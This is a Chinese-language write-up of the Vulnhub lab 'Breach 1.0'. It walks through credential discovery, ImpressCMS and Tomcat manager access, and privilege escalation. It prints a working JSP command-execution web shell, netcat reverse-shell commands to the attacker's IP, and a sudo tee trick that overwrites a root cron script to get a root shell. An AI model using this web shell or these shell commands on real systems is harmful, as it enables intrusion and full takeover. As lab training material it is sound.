相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這裡記錄以下打這個靶場的過程和心得。
測試環境
-
Kali linux IP:192.168.110.128
-
Breach 1.0 IP:192.168.110.140
均通過NAT模式連主機
資訊蒐集
先掃描開放埠,發現開了一大堆。
直接檢視80埠Web
服務
檢視頁面原始碼有一串字元
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->
得到一串意義不明的東西
pgibbons:damnitfeel$goodtobeagang$ta
點選圖片有跳轉,挨個點選,發現了一個impress cms
那看到cms
第一反應就是去找現成的漏洞,有跨站指令碼執行和本地檔案包含,但都是在admin
的情況下才可以執行, 這個時候我們不妨試試之前解出的那串字元,作為賬號密碼。
發現可以成功,進入之後檢視發現有個收件箱,裡面三封郵件得到了一個關鍵資訊,192.168.110.140/.keystore
,是一個SSL證照,訪問連結即可下載。
但是線索到這裡暫時斷了,但是網上找到一個漏洞資訊
漏洞資訊
ImpressCMS
是一款內容管理系統。
ImpressCMS
存在跨站指令碼漏洞,可通過PATH_INFO
傳遞給otifications.php
,modules/system/admin/images/browser.php
和modules/content/admin/content.php
指令碼的輸入注入WEB指令碼或HTML,可獲得敏感資訊或劫持使用者會話。
雖然經一系列嘗試無果,但是在訪問modules/content/admin/content.php
的時候,由於沒有許可權跳轉到了這個頁面
content
下面有個連結
是一個流量包,那之前拿到的SSL證照就能用到了。
關鍵資訊:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.
檢視流量包
開啟流量包,直接檢視沒有什麼有用資訊
匯入SSL證照,因為是tomcat
服務所以埠號選擇8443,
說明我們拿到的證照格式不對,需要PKCS12格式的證照。我們使用keytool
檢視資訊,密碼是tomcat
根據提示資訊操作
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12
現在格式正確了
重新匯入,多了一些http包
我們篩選一下http包
發現在請求一個網頁,但是第一次沒有成功,比較兩個資料包,發現多了這一行請求。
我們也嘗試訪問這個頁面
但是一直訪問不成功,嘗試抓包
才發現是覺得不安全被攔截了,抓包訪問的時候會讓你輸入賬號密碼
tomcat:Tt\5D8F(#!*u=G)4m7zB
使用流量包中發現的賬號密碼登入
進入後臺
我們進入了一個tomcat
的後臺介面,發現一個檔案上傳點,需要上傳war包。
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
打包成war上傳之後訪問,傳參
成功,但是測試的時候發現隔一會上傳的馬會被刪除,應該是後臺有一個定時清除的指令碼,因此我們彈一個shell
出來
GetShell以及提權
Kali
使用nc -lnvp 8888
監聽
傳送nc -v 192.168.110.128 8888 -e /bin/bash
, 成功之後使用python -c 'import pty;pty.spawn("/bin/sh")'
進入互動式介面
home
目錄下兩個使用者以及/etc/passwd
發現在/var/www/5446/
目錄下有兩個奇怪的php
檔案
發現是資料庫的賬號和密碼,我們連線資料庫看一看
找到了milton
使用者的密碼hash
值
破解得密碼thelaststraw
。
登入milton
使用者,但是發現很遺憾,這個使用者沒有sudo
許可權
檢視.bash_history
看樣子我們需要得到blumbergh
使用者的許可權。我們再看milton
家目錄下的那張圖片,放到/var/www/html/images/
目錄下
檢查這張圖片,並沒有什麼玄機。
再檢視images
下的圖片許可權
發現有兩張圖片的許可權與其他不同,檢視
發現bill.png
下面有個comment
是coffeestains
,結果這個就是blumbergh
使用者的密碼,就挺離譜的。
登入blumbergh
使用者,檢視.bash_history
檢視一下tidyup.sh
就是這個指令之前刪除了我們的shell
但是這個指令碼的許可權是755
, 現有許可權並不能更改
但是我們發現現在這個使用者有一個許可權,就是可以使用tee
指令
因此就有了修改的方式
echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
因為這個指令碼是root
使用者的許可權,因此我們通過這個方式反彈出來的shell
就是root
許可權。設定監聽之後等待即可。
至此,成功提權到root
。